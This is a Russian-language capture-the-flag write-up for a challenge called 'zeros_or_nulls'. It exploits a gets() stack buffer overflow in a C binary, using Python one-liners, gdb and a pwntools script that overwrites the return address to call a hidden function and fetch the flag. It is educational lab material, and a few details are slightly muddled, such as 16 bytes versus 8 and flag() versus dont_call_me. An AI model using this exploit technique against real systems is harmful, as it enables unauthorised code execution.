Нам дан код на C, использующий небезопасную функцию gets() и самописная функция dont_call_me(), которая выводит переменную окружения.
Внимательно просмотрев код, можно заметить, что функция dont_call_me() не вызывается в нашем main, там вообще ничего не вызывается.
Обратить внимание, что буфер заполняется через gets(). Нужно понять, как ее проэксплуатировать (подсказка: размер введенной строки пользователя может быть БОЛЬШЕ, чем размер нашего буфера).
Теперь узнаем адрес нашего rip регистра, чтобы понять, как это сделать, будем использовать скомпилированный файл zeros_or_nulls и python. Суть в том, чтобы получить SEGFAULT, благодаря этому узнаем смещение до нашего rip регистра.
Делается это с помощью команды python -c "print 'A'* OFFSET" | ./zeros_or_nulls
, изначально примем OFFSET=64
, потому что буфер именно такого размера, и будем увеличивать его на 4 до тех пор, пока не получим нужную ошибку. Произойдет это при 72 сдвиге, значит следующие 16 байтов - rip. Их нужно изменить, но на какое значение?
Настало время gdb. С его помощью легко можно узнать адрес функции flag(), запускаем gdb -q ./zeros_or_nulls
и прописываем disas dont_call_me
- в первой строке получаем то, что искали 0x0000000000400607
.
Это можно сделать двумя способами:
- bash:
python -c "print 'A'*72 + '\x00\x00\x00\x00\x00\x40\x06\x07'[::-1]" | ./zeros_or_nulls
- gdb:
r -A < <(python -c "print 'A'*72 + '\x00\x00\x00\x00\x00\x40\x06\x07'[::-1]")
Второй способ позволяет передать в gdb null-bytes (\x00), в отличие от способа передачи $(), который их игнорирует.
Функция отработала, отлично, теперь переходим к боевому стенду! Для удобства работы напишем python скрипт.
from pwn import *
conn = remote('TARGET_IP', TARGET_PORT)
OFFSET = 72
payload = OFFSET * 'A' + '\x00\x00\x00\x00\x00\x40\x06\x07'[::-1]
conn.sendline(payload)
print(conn.recv())
Отправляем нашу полезную нагрузку и получаем флаг: kxctf{u_@r3_str0ng_0n3_but_th4ts_n0t_4ll_tg_OxSBI}